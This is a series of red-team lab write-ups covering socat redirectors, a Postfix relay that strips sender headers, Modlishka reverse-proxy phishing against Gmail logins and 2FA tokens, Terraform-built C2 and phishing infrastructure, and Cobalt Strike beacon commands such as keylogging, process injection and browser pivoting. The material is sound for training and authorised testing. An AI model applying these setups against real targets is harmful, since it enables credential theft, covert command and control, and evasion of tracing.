SOCAT is another tool that can be used to do the "dumb pipe" traffic forwarding. The environment in this  exercise remains the same as in the previous scenario.

Setting up an HTTP redirector with socat:

```csharp
socat TCP4-LISTEN:80,fork TCP4:10.0.0.2:80
```

![](/files/-LNlJ6fFg8E9Ie9vWVH_)

## References

{% embed url="<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#https>" %}

{% embed url="<https://www.frozentux.net/iptables-tutorial/chunkyhtml/x4033.html>" %}

{% embed url="<http://linux-training.be/networking/ch14.html>" %}

{% embed url="<http://technostuff.blogspot.com/2008/10/some-useful-socat-commands.html>" %}

{% embed url="<https://www.thegeekstuff.com/2011/01/iptables-fundamentals/>" %}


# SMTP Forwarders / Relays

SMTP Redirector + Stripping Email Headers

## Setting up Relay Mail Server

I am going to set up a mail server that will be later used as an SMTP relay server. First off, a new Ubuntu droplet was created in Digital Ocean:

![](/files/-LNtHTCAG4xhsu7hw2Wj)

Postfix MTA was installed on the droplet with:

```
apt-get install postfix
```

During postfix installation, I set `nodspot.com` as the mail name. After the installation, this can be checked/changed here:

```csharp
root@ubuntu-s-1vcpu-1gb-sfo2-01:~# cat /etc/mailname
nodspot.com
```

## DNS Records

DNS records for nodspot.com has to be updated like so:

![A record pointing to the droplet IP](/files/-LNtI_uPOKy6eA38e4aQ)

![](/files/-LNtIbNgTop92P_qtwzu)

## Testing Mail Server

Once postfix is installed and the DNS records are configured, we can test if the mail server is running by:

```csharp
telnet mail.nodspot.com 25
```

If successful, you should see something like this:

![](/files/-LNtIllAof1N9ygI2fNw)

We can further test if the mail server works by trying to send an actual email like so:

```csharp
root@ubuntu-s-1vcpu-1gb-sfo2-01:~# sendmail mantvydo@gmail.com
yolo
,
.
```

Soon enough, the email comes to my gmail:

![](/files/-LNtKAqanHc0fG500ctl)

...with the following headers - all as expected. Note that at this point the originating IP seen in headers is my droplet IP 206.189.221.162:

```csharp
Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5026946ywr;
        Tue, 2 Oct 2018 12:22:38 -0700 (PDT)
X-Google-Smtp-Source: ACcGV62oH69fwYnfV1zg+o+jbTpjQIzIzASmjoIsXbbfvdevE0LlkY32jflNS/acOtNBXiwzxYxP
X-Received: by 2002:a62:6547:: with SMTP id z68-v6mr17716388pfb.20.1538508158395;
        Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538508158; cv=none;
        d=google.com; s=arc-20160816;
        b=FpEgLAICLn66cI+DDvpIsStUrReQ8fArcreT7FyS8SYcFQXFiK44HDcxwVHXCA8Xxb
         fUl+3HcerQEznHZMttZ4pZIMbN18pJS08wzuZdOlhGKAA2JSTkxGd+1PhJwDe1SFTYZc
         NoARSHL9opemJKg5YqZNjSTDSTfk/QqaCbq7mQL9LAwCKzanGSNR/R/28WymYrdRACOR
         GSmDCVvPaUaoemIP8+GwXkfU5Gkk49+F7t9Jbg23HKKq/YOhwF3ryeOEVfn74bhtZIkM
         QcUzWn5WSL0lIm0nbd2t7677/wcabOg0TCoZj1IHg+I7yLXE7+QZOYX1TguKu16oZeqt
         mTIA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=from:date:message-id;
        bh=VSFU9fKoMQMmtQzPFdmefDuA+phTpwZXd9k5xGRzwRs=;
        b=VZ2vHjhPUSs17PXAUDyjYzm0w5sdQYqFx7h9iirh/BF1krrl3MQg4QAgfeo0py9qZH
         Xf8/9HmNe1pIgxnZiiZJeVijXeSHCIB4XkG4HYFJY2m/gQ9oZ4JSMfX/Kiw/CXEmbt71
         YP5S7yQKQNkHw24XnP3WUeDDQ7XvENEfPIS+LlCVtQOPT8fM9TAWQReKz06idynolfhR
         7P73wH8igwPea7586wdhSOtDYCURSMKTNVb8yP2eEPNBlP2u2jUrFImG2D2/lke4O6Iu
         7zu96tCYEY9FVG11dPFheKlMjvMoL4rqPSAQ3zty4Cbi4Vy2Is6f/VF8AYZ34i0FJooj
         eEkw==
ARC-Authentication-Results: i=1; mx.google.com;
       spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
        by mx.google.com with ESMTP id 38-v6si3160283pgr.237.2018.10.02.12.22.38
        for <mantvydo@gmail.com>;
        Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Received: by ubuntu-s-1vcpu-1gb-sfo2-01 (Postfix, from userid 0) id DC6DD3F156; Tue,
  2 Oct 2018 19:22:37 +0000 (UTC)
Message-Id: <20181002192237.DC6DD3F156@ubuntu-s-1vcpu-1gb-sfo2-01>
Date: Tue,
  2 Oct 2018 19:22:31 +0000 (UTC)
From: root <root@nodspot.com>

yolo
,
```

## Setting up Originating Mail Server

We need to set up the originating mail server that will use the server we set up earlier as a relay server. To achieve this, on my attacking machine, I installed postfix mail server.

The next thing to do is to amend the `/etc/postfix/main.cf` and set the `relayhost=nodspot.com`which will make the outgoing emails from the attacking system travel to the nodspot.com mail server (the server we set up above) first:

![](/files/-LNtN4KCP8jYyMRD8Sn_)

Once the change is made and the postfix server is rebooted, we can try sending a test email from the attacking server:

![](/files/-LNtQ3AHcTeAcMZdMpME)

If you do not receive the email, make sure that the relay server is not denying access for the attacking machine. If you see your emails getting deferred (on your attacking machine) with the below message, it is exactly what is happening:

![](/files/-LNtQWen195U7jJTcDLe)

Once the relay issue is solved, we can repeat the test and see a successful relay:

![](/files/-LNtQgkuQ-9Mqrb87RPN)

This time the headers look like so:

![](/files/-LNtSbn-dgznq-DscN9w)

Note how this time we are observing the originating host's details such as a host name and an IP address - this is unwanted and we want to redact that information out.

{% file src="/files/-LNtSBC3jke3Ha2yJZI-" %}
Email Headers
{% endfile %}

## Removing Sensitive Headers in Postfix

We need to make some configuration changes in the relay server in order to redact the headers for outgoing emails.

First off, let's create a file on the server that contains regular expressions that will hunt for the headers that we want removed:

{% code title="/etc/postfix/header\_checks" %}

```csharp
/^Received:.*/              IGNORE
/^X-Originating-IP:/    IGNORE
/^X-Mailer:/            IGNORE
/^Mime-Version:/        IGNORE
```

{% endcode %}

Next we need to amend the `/etc/postfix/master.cf` to include the following line: `-o header_checks=regexp:/etc/postfix/header_checks`:

![](/files/-LNtUXkB3G5ZOBDWnKKP)

This will tell the postfix server to remove headers from outgoing emails that match regular expressions found in the file we created above.

Save the changes and reload the postfix server:

```
postmap /etc/postfix/header_checks
postfix reload
```

Now send a test email from the attacking machine again and inspect the headers of that email:&#x20;

![](/files/-LNtYqKZYlfPo1pSx7ge)

![](/files/-LNtZ6iyLQ7kU-WF2XKF)

Note how the `Received` headers exposing the originating (the attacking) machine were removed, which is exactly what we wanted to achieve:

```
Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5668508ywr;
        Wed, 3 Oct 2018 03:47:35 -0700 (PDT)
X-Google-Smtp-Source: ACcGV614wuffoVOsvFkTPPxCiRj0hgFwTIH7y3B4ziIaXfogLFjsoiFyYOdNVChhr+oRcL1axO+a
X-Received: by 2002:a17:902:a9cc:: with SMTP id b12-v6mr988630plr.198.1538563655360;
        Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538563655; cv=none;
        d=google.com; s=arc-20160816;
        b=qhbzI+R3vHbkqwp2ALOEQ0ItUXU/fA1kEmYln1dBe0CmLELuIfourst4gZVYiU0tAf
         sRx20Z5Vcqvv9w6s6f2gVp6crlOuoX2cSKJCn/HyRYKiDB5aVKpEYTDjQtGEBRLoL9xm
         /T8+3PgV6CHy/KowoPeLugKg3t5mIh9pq+Ig8gG+VVKZcFyvUBJa9YEgBgVKcMwew8H6
         x8WzIB2zyavpZLnbIi6SrtheYZAeSTMTwXRutqxZl0n4O/iZS4Y+ZVdRlYeXFXFNdtMK
         JFaS1XVLR4hYXOzlQT1IC2yeQlqf+Q3FJukmkDlDTgw91ImfZa0HtQYQoo3LwKotp92Q
         1HiQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=from:date:message-id;
        bh=hZH42YPrA1C1YyKkQ/LM0S6pyh9p5LGmoqE/s4CGGts=;
        b=Squ71HtAuuwYHfX+4z63WcgBMoiKbcX5KAQLKwfvlnXuF5QEJNHjfX0GwekViXJIZ5
         D2v03648ni6W3/b6uXVoecrtX0MZ9Z/Ck+LxcJRi16toE4QfjR6fhX5l9OSKFjgqkst3
         Exk9yB1iiX8IAoIvnSaT0pQ5UzOov5Yneti3HO8QbzeCnT1/HieLwIhB/d+znryw1mTQ
         jj/VBlNEGFEJhpXjS7cbQFHQEz3yGl1YTSNB3Kxp9T5a7+ncsW3pOAlfKqNYpVywSlBe
         s6OUSTZ/bEwVYP3dv9aHmbpOIV6rC8uPgUlm+SKYtlj9xiR9uXTtj21IbA0F1esFx+Up
         jAQw==
ARC-Authentication-Results: i=1; mx.google.com;
       spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
        by mx.google.com with ESMTP id y11-v6si1190446plg.237.2018.10.03.03.47.35
        for <mantvydo@gmail.com>;
        Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Message-Id: <20181003104734.1871F42006E@kali>
Date: Wed,  3 Oct 2018 11:47:28 +0100 (BST)
From: root <root@nodspot.com>

removing traces like a sir
```

{% file src="/files/-LNtY7u8Q1wtASOU\_l5c" %}
Headers Removed
{% endfile %}

This lab is not going to deal with the emails being marked as phishing by gmail. This, however, is related to setting up DKIM, PTR records and the likes, see below for more references.

## References

{% embed url="<https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy>" %}

{% embed url="<https://serverfault.com/questions/91954/how-do-i-remove-these-junk-mail-headers>" %}

{% embed url="<https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/>" %}

{% embed url="<https://www.youtube.com/watch?v=mRUGEygkDEQ>" %}


# Phishing with Modlishka Reverse HTTP Proxy

This lab shows how to setup a reverse HTTP proxy `Modlishka` that can be used in phishing campaigns to steal user passwords and 2FA tokens. Modlishka makes this possible, because it sits in the middle between the website you as an attacker are impersonating and the victim (MITM) while recording all the traffic/tokens/passwords that traverse it.

## Setup

Let's start off by building a new DigitalOcean droplet, the smallest is more than enough:

![](/files/-LiFT3Wwfnnbn0J8xgzZ)

Once logged on, install certbot and download modlishka binary itself:

```bash
apt install certbot
wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64
chmod +x Modlishka-linux-amd64 ; ls -lah
```

![](/files/-LiFT9ga7bDsW9ghRRgY)

## Modlishka Configuration

Let's create a configuration file for modlishka:

![](/files/-LiFTFMH3mWerGfyOEOV)

{% code title="modlishka.json" %}

```javascript
{
  //domain that you will be tricking your victim of visiting
  "proxyDomain": "redteam.me",
  "listeningAddress": "0.0.0.0",

  //domain that you want your victim to think they are visiting
  "target": "gmail.com",
  "targetResources": "",
  "targetRules":         "PC9oZWFkPg==:",
  "terminateTriggers": "",
  "terminateRedirectUrl": "",
  "trackingCookie": "id",
  "trackingParam": "id",
  "jsRules":"",
  "forceHTTPS": false,
  "forceHTTP": false,
  "dynamicMode": false,
  "debug": true,
  "logPostOnly": false,
  "disableSecurity": false,
  "log": "requests.log",
  "plugins": "all",
  "cert": "",
  "certKey": "",
  "certPool": ""
}
```

{% endcode %}

## Wildcard Certificates

Important - let's generate a wildcard certificate for my domain I want my phishing victims to land on `*.redteam.me`:

```csharp
certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redteam.me --email noreply@live.com
```

This will generate a challenge code as shown below:

![](/files/-LiFTLunFfm_iKTxk2ex)

We need to create a DNS TXT record in the DNS management console for redteam.me, which in my case is in Digital Ocean:

![](/files/-LiFTP6nWIhABPjfkYqM)

Once the DNS TXT record is created, continue with the certificate generation:

![](/files/-LiFTZBUf3IYKGYnw8A-)

Once certificates are generated, we need to convert them to a format suitable to be embedded into JSON objects:

```bash
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem
```

![](/files/-LiFTg4wQyv650OJ3iDA)

Once that is done, copy over the contents of the certs into the config - `fullchain.pem` into the `cert` and `privkey.pem` into the `certKey`:

![](/files/-LiFTkpsH6Ip5K0TvQIt)

## More DNS Records

Let's create an A record for the root host `@` that simply points to the droplet's IP:

![](/files/-LiFTp-GjlgmdT-c-g4T)

This is very important - we need a `CNAME` record for any host/subdomain `*` pointing to `@`

![](/files/-LiFTu8I9q-pAD0c5HDZ)

## Launching Modlishka

We are now ready to start the test by launching modlishka and giving it the modlishka.json config file:

```csharp
./Modlishka-linux-amd64 -config modlishka.json
```

Below shows how by visiting a redteam.me, I get presented with contents of gmail.com - indicating that Modlishka and the MITM works. Again, it is important to call it out - we did not create any copies or templates of the targeted website - the victim is actually browsing gmail, it's just that it is being served through Modlishka where the traffic is inspected and passwords are captured:

![](/files/-LiFU2dkA0CS1OQJS4J5)

## References

{% embed url="<https://github.com/drk1wi/Modlishka>" %}


# Automating Red Team Infrastructure with Terraform

## Context

The purpose of this lab was to get my hands dirty while building a simple, resilient and easily disposable red team infrastructure. Additionally, I wanted to play around with the the concept of `Infrastructure as a Code`, so I chose to tinker with a tool I have been hearing about for some time now - Terrafor&#x6D;**.**

## **Credits**

Automated red teaming infrastructure is not a new concept - quite the opposite - I drew my inspiration from the great work of [@\_RastaMouse](https://twitter.com/_RastaMouse) [where](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/) he explained his process of building an automated red team environment. He based it off of the great [wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) by [Steve Borosh](https://twitter.com/424f424f) and [Jeff Dimmock](https://twitter.com/bluscreenofjeff) - which is exactly the resource I used when labbing about the below:

{% content-ref url="/pages/-LNgY2plqmlX6wkEXrsR" %}
[Red Team Infrastructure](/offensive-security/red-team-infrastructure)
{% endcontent-ref %}

...as well as this exercise.

## **Infrastructure Overview**

Below is a high level diagram showing the infrastructure that I built for this lab - it can be and usually is much more built out, but the principle remains the same - redirectors are placed in front of each server to make the infrastructure more resilient to discovery that enables operators to quickly replace the burned servers with new ones:

![](/files/-LXAG0JjAvVuP-J5UP1h)

* There are 6 servers in total
* 3 servers (phishing, payload and c2) are considered the long term servers - we do not want our friendly blue teams to discover those
* 3 redirectors (smtp relay, payload redirector and c2 redirector) - these are the servers that sit in front of our long term servers and act as proxies. It is assumed that these servers will be detected and burned during an engagement. This is where the automation piece of Terraform comes in - since the our environment's state is defined in Terraform configuration files, we can rebuild those burned servers in almost no time and the operation can continue without bigger interruptions.

## Configuring Infrastructure

### Service Providers

My test red team infrasture is built by leveraging the following services and providers:

* DigitalOcean Droplets for all the servers and redirectors
* DigitalOcean DNS management for the smtp relay (phishing redirector) - mostly because we need the ability to set a `PTR` DNS record for our smtp relay in order to reduce chances of our phishing email being classified as spam by target users' mail gateways
* CloudFlare DNS management for controlling DNS records for any other domains that point to our long-term servers

Note however, you could build your servers using Amazon AWS or other popular VPS provider as long as it is supported by [Terraform](https://www.terraform.io/docs/providers/). Same applies to the DNS management piece. I used DigitalOcean and CloudFlare because I already had accounts and I like them ¯\\\_(ツ)\_/¯

### File Structure

My red team infrastructure is defined by terraform state configuration files that are currently organized in the following way:

![](/files/-LXAMYEoEsbDblCXMpFu)

I think the file names are self explanatory, but below gives additional info on some of the config files:

* `Configs` folder - all the config files that were too big or inconvenient to modify during Droplet creation with Terraform's provisioners. It includes configs for payload redirector (apache: `.htaccess`, `apache2.conf`), smtp redirector (postfix: `header_checks` - for stripping out email headers of the originating smtp server, `master.cf` - general postfix config for TLS and opendkim, `opendkim.conf` - configuring DKIM integration with postfix)
* providers - required to build the infrastructure such as DigitalOcean and CloudFlare in my case
* variables - stores API keys and similar data used across different terraform state files
* sshkeys - stores ssh keys that our servers and redirectors will accept logons from
* dns - defines DNS records and specify how our servers and redirectors can be accessed
* firewalls - define access rules - who can access which server
* outputs - a file that prints out key IP addresses and domain names of the built infrastructure

Other key points on a couple of the files are outlined below.

### Variables

Variables.tf stores things like API tokens, domain names for redirectors and c2s, operator IPs that are used in firewall rules (i.e only allow incoming connections to team server or GoPhish from an operator owned IP):

![](/files/-LXFEbaiBYqHKO0mQri8)

Additionally, `variables.tf` contains link to a password protected Cobalt Strike zip archive and the password itself:

![URL to a password protected Cobalt Strike zip](/files/-LXQjSnm8VH1deHE2Bxv)

![variables.tf showing my fake and misspelled password](/files/-LXFFgx9tEXIFG8_VVlH)

### C2

For this lab, I chose Cobalt Strike as my C2 server.&#x20;

Below is the `remote-exec` Terraform provisioner for C2 server that downloads CS zip, unzips it with a given CS password and creates a cron job to make sure the C2 server is started once the server boots up:

![](/files/-LXQjGAMSu7hXZxH7d2D)

### C2 Redirector

I use a `socat` to simply redirect all incoming traffic on port 80 and 443 to the main HTTP C2 server running Cobalt Strike team server:

![](/files/-LXFHP55AU-rRe4hoTw-)

### Testing C2 and C2 Redirector

It's easy to test if your C2 and its redirectors work as expected.

Note below - a couple of FQDNs that were printed out by Terraform when outputs.tf file was executed: `static.redteam.me` and `ads.redteam.me` both pointing to `159.203.122.243` - this is the C2 redirector IP - any traffic on port 80 and 443 will be redirected to the main C2 server, which is hosted on `68.183.150.191` as shown in the second image below:

![C2 redirector IPs](/files/-LXd1k8d_5BgtXUmhULM)

![C2 teamserver IPs](/files/-LXd1mIEiQ3SFi2le47o)

Below gif shows the test in action and the steps are as follows:

1. Cobalt Strike is launched and connected to the main C2 server hosted on 68.183.150.191 - it can be reached via `css.ired.team`
2. a new listener on port 443 is created on the C2 host 68.183.150.191
3. beacon hostsname are set to two subdomains on the C2 redirector - `static.redteam.me` and `ads.redteam.me`
4. stageless beacon is generated and executed on the target system via SMB
5. beacon calls back to `*.redteam.me` which redirects traffic to the C2 teamserver on 68.183.150.191 and we see a CS session popup:

![Cobalt Strike C2 & C2 redirector test](/files/-LXd2eGUbh2niEarafIc)

Below is a screengrab of the tcpdump on C2 server which shows that the redirector IP (organge, 159.203.122.243) has initiated the connection to the C2 (blue, 68.183.150.191):

![Successful C2 traffic redirection](/files/-LXd47voBKxe_0O3rU-c)

### Phishing

My phishing server is running GoPhish framework, which I labbed about here:

{% content-ref url="/pages/-LVjba\_Xoaaaq3TQtpS7" %}
[Phishing with GoPhish and DigitalOcean](/offensive-security/initial-access/phishing-with-gophish-and-digitalocean)
{% endcontent-ref %}

![](/files/-LXFHxaHmHjwi19cYa42)

The GoPhish is set to listen on port 3333 which I expose to the internet, but only allow access for the operator using DigitalOcean firewalls:

![](/files/-LXFIfbyAnKeNSQz5mIc)

Again - `var.operator-ip` is set in `variables.tf`

### Phishing Redirector

This was the most time consuming piece to set up. It is a known fact that setting up SMTP servers usually is a huge pain. Automating the red team infrastructure is worth purely because of the fact that you will not ever need to rebuild the SMTP server from scratch once it gets burned during the engagement.

The pain for this piece originated from setting up the smtp relay, since there were a number of moving parts to it:

* setting up SPF records
* setting up DKIM
* setting up encryption
* configuring postfix as a relay
* sanitizing email headers to obfuscate the originating email server (the phishing server)

### Testing Phishing Redirector

Once the infrastucture has been stood up, phishing redirector's (smtp relay) DNS zone should have the spf, dkim and dmarc records, similarly to those seen here:

![](/files/-LXQd2RGzaDepZQ-onwG)

Once DNS records are done, we can send a quick test email to gmail from the actual phishing server through the relay server and see if spf, dkim and dmarc checks `PASS`, which we can see below they did in our case, suggesting phishing/smtp relay is setup correctly:

{% code title="attacker\@kali" %}

```bash
telnet redteam.me 25
helo redteam.me
mail from: olasenor@redteam.me
rcpt to: mantvydo@gmail.com
data
to: Mantvydas Baranauskas <mantvydo@gmail.com>
from: Ola Senor <olasenor@redteam.me>
subject: daily report

Hey Mantvydas,
As you were requesting last week - attaching as promised the documents needed to keep the project going forward.
.
```

{% endcode %}

![](/files/-LXQd4HzfYc1PoWjkEdr)

{% file src="/files/-LXQe0YdIJdqDw1E4WxO" %}
Daily report.eml
{% endfile %}

### Payload Redirector

Payload redirector server is built on apache2 `mod_rewrite` and `proxy` modules. `Mod_rewrite` module allows us to write fine-grained URL rewriting rules and proxy victim's HTTP requests to appropriate payloads as the operator deems appropriate.

#### .htaccess

Below is an .htaccess file that instructs apache, or to be precise `mod_rewrite` module, on when, where and how (i.e proxy or redirect) to rewrite incoming HTTP requests:

{% code title=".htaccess" %}

```typescript
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos" [NC]
RewriteRule ^.*$ http://payloadURLForMobiles/login [P]
RewriteRule ^.*$ http://payloadURLForOtherClients/%{REQUEST_URI} [P]
```

{% endcode %}

Breakdown of the file:

* Line 2 essentially says: hey, apache, if you see an incoming http request with a user agent that contains any of the words "android, blackberry, ..." etc, move to line 3
* Line 3 instructs apache to proxy (\[P]**)** the http request to `http://payloadURLForMobiles/login`. If condition in line 2 fails, move to line 4
* If condition in line 2 fails, the http request gets proxied to `http://payloadURLForOtherClients/%{REQUEST_URI}` where `REQUEST_URI` is the part of the http request that was appended after the domain name - i.e someDomain.com/?thisIsTheRequestUri=true

Below screenshot should illustrate the above concept:

1. green highlight - we used curl (and its default UA), which according to the .htaccess file, should have redirected us to `payloadURLForOtherClients` -  which we see it attempted to, but of course failed since it's a test and a non-resolvable host is specified
2. pink - we curl'ed the payload redirector again, but this time with a forged UA, masquerading the http request as if it was coming from an iphone - we can see that apache correctly attempted to proxy the request through to the `payloadURLForMobiles` host:

![](/files/-LXLNkLiSmYikc_bjTUk)

### Outputs

`Outputs.tf` contains key server DNS names and their IP addresses for operator's reference:

![](/files/-LXLRipDD-kmdLVEyPhm)

Also, note the last highlighted bit - an instruction for an operator to execute a `./finalize.sh` command from the working directory. It will install `LetsEncrypt` certificates on the smtp relay server and also print out the DKIM DNS TXT record that needs to be added to the DigitalOcean's DNS records for the smtp relay domain:

![](/files/-LXLRlL5V8TENd_SfZIL)

The DNS record `mail._domainkey` placeholder with a dummy value "I am DKIM, but change with the DKIM from finalize.sh" is created (`dns.tr` file) for ones convenience - that value needs to be replaced with the above highlighted DKIM value provided by the finalize.sh script.&#x20;

Ideally, this step would be automated during the droplet bootstrapping, but I was not yet able to do that due to some Terraform bugs I encountered.&#x20;

Below shows (top to bottom):

* terraform config that sets up a new DNS TXT record placeholder for DKIM
* terraform creating the DNS TXT record based on the above config from `dns.tf`
* the actual result - DNS TXT record placeholder for `redteam.me` domain

![](/files/-LXQTKMRhbbrjMkP2v6c)

## Download & Try

If you would like to test this setup, feel free to grab the config files here:

{% embed url="<https://github.com/mantvydasb/Red-Team-Infrastructure-Automation>" %}

## References

{% embed url="<https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/>" %}

{% embed url="<https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/>" %}

{% embed url="<https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy>" %}

{% embed url="<https://developers.digitalocean.com/documentation/changelog/api-v2/new-size-slugs-for-droplet-plan-changes/>" %}


# Cobalt Strike 101

This lab is for exploring the advanced penetration testing / post-exploitation tool Cobalt Strike.

## Definitions

* Listener - a service running on the attacker's C2 server that is listening for beacon callbacks
* Beacon - a malicious agent / implant on a compromised system that calls back to the attacker controlled system and checks for any new commands that should be executed on the compromised system
* Team server - Cobalt Strike's server component. Team server is where listeners for beacons are configured and stood up.

## Getting Started

### Team Server

{% code title="attacker\@kali" %}

```csharp
# the syntax is ./teamserver <serverIP> <password> <~killdate> <~profile>
# ~ optional for now
root@/opt/cobaltstrike# ./teamserver 10.0.0.5 password
```

{% endcode %}

![](/files/-LV_LKn33__1Whr2-emi)

{% hint style="info" %}
Note that in real life red team engagements, you would put the team servers behind redirectors to add resilience to your attacking infrastructure. See [Red Team Infrastructure](/offensive-security/red-team-infrastructure)
{% endhint %}

### Cobalt Strike Client

{% code title="attacker\@kali" %}

```csharp
root@/opt/cobaltstrike# ./cobaltstrike
```

{% endcode %}

Enter the following:

* host - team server IP or DNS name
* user - anything you like - it's just a nickname
* password - your team server password

![](/files/-LV_MN4fHOQ2jl-VTud-)

### Demo

All of the above steps are shown below in one animated gif:

![](/files/-LV_NZxyuqDTerCXZOkv)

## Setting Up Listener

Give your listener a descriptive name and a port number the team server should bind to and listen on:

![](/files/-LVdTdup2niEPXR2Kvxw)

## Generating a Stageless Payload

Generate a stageless (self-contained exe) beacon - choose the listener your payload will connect back to and payload architecture and you are done:

![](/files/-LVdUCalwVOHCQrVXUM2)

## Receiving First Call Back

On the left is a victim machine, executing the previously generated beacon - and on the left is a cobalt strike client connected to the teamserver catching the beacon callback:

![](/files/-LVdWm4zqWSU8tlccTXa)

## Interacting with Beacon

Right click the beacon and select interact. Note the new tab opening at the bottom of the page that allows an attacker issuing commdands to the beacon:

![](/files/-LVdYPL2EWl_kDZgohYE)

## Interesting Commands & Features

### Argue

Argue command allows the attacker to spoof commandline arguments of the process being launched.

The below spoofs calc command line parameters:

{% code title="attacker\@cs" %}

```csharp
beacon> argue calc /spoofed
beacon> run calc
```

{% endcode %}

![](/files/-LVdk8zCI7Za7zTxLzrG)

Note the differences in commandline parameters captured in sysmon vs procexp:

![](/files/-LVdj_Ki8_L-34wNhOpF)

Argument spoofing is done via manipulating memory structures in Process Environment Block which I have some notes about:

{% content-ref url="/pages/-LPN\_7JKwQQAQIkRZo\_e" %}
[Masquerading Processes in Userland via \_PEB](/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb)
{% endcontent-ref %}

{% content-ref url="/pages/-LL0z4oOoj0hSWOAg2-1" %}
[Exploring Process Environment Block](/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block)
{% endcontent-ref %}

### Inject

Inject is very similar to metasploit's `migrate` function and allows an attacker to duplicate their beacon into another process on the victim system:

{% code title="attacker\@cs" %}

```csharp
beacon> help inject
Use: inject [pid] <x86|x64> [listener]

inject 776 x64 httplistener
```

{% endcode %}

Note how after injecting the beacon to PID 776, another session is spawned:

![](/files/-LVdxRlTo3-eQwGHPUTO)

### Keylogger

{% code title="attacker\@cs" %}

```csharp
beacon> keylogger 1736 x64
```

{% endcode %}

![](/files/-LVe-tcmn4MPADKtcpEu)

### Screenshot

{% code title="attacker\@cs" %}

```csharp
beacon> screenshot 1736 x64
```

{% endcode %}

![](/files/-LVe0RXTjankOgwcZ5WW)

### Runu

Runu allows us launching a new process from a specified parent process:

{% code title="attacker\@cs" %}

```csharp
runu 2316 calc
```

{% endcode %}

![](/files/-LVe1f1GeMMhEpJQFR1S)

### Psinject

This function allows an attacker executing powershell scripts from under any process on the victim system. Note that PID 2872 is the calc.exe process seen in the above screenshot related to `runu`:

{% code title="attacker\@cs" %}

```csharp
beacon> psinject 2872 x64 get-childitem c:\
```

{% endcode %}

![](/files/-LVe2vmq3MBcixP1dBQQ)

Highlighted in green are new handles that are opened in the target process when powershell script is being injected:

![](/files/-LVe4dVKfHxW5XSyN59Q)

### Spawnu

Spawn a session with powershell payload from a given parent PID:

{% code title="attacker\@cs" %}

```csharp
beacon> spawnu 3848 httplistener
```

{% endcode %}

![](/files/-LVe5p_J09jqfvzBd2uF)

![](/files/-LVe5rMtDhif4p33LJEi)

### Browser Pivoting

This feature enables an attacker riding on compromised user's browsing sessions.

The way this attack works is best explained with an example:

* Victim log's in to some web application using Internet Explorer.
* Attacker/operator creates a browser pivot by issuing a `browserpivot` command
* The beacon creates a proxy server on the victim system (in Internet Explorer process to be more precise) by binding and listening to a port, say 6605
* Team server binds and starts listening to a port, say 33912
* Attacker can now use their teamserver:33912 as a web proxy. All the traffic that goes through this proxy will be forwarded/traverse the proxy opened on the victim system via the Internet Explorer process (port 6605). Since Internet Explorer relies on WinINet library for managing web requests and authentication, attacker's web requests will be reauthenticated allowing the attacker to view same applications the victim has active sessions to without being asked to login.

Browser pivotting in cobalt strike:

{% code title="attacker\@cs" %}

```csharp
beacon> browserpivot 244 x86
```

{% endcode %}

Note how the iexplore.exe opened up port 6605 for listening as mentioned earlier:

![](/files/-LVeBuMZs1FPDOHJtS04)

The below illustrates the attack visually. On the left - a victim system logged to some application and on the right - attacker id trying to access the same application and gets presented with a login screen since they are not authenticated:

![](/files/-LVeEiPzItd-5gnk4Nk8)

The story changes if the attacker starts proxying his web traffic through the victim proxy `10.0.0.5:33912`:

![](/files/-LVeElowN_sNm3icObi4)

### System Profiler

A nice feature that profiles potential victims by gathering information on what software / plugins victim system has installed:

![](/files/-LVeIX1ild0CLK1SOvF7)

Once the the profilder URL is visited, findings are presented in the Application view:

![](/files/-LVeIc4rnL3lz2uU7Ap0)

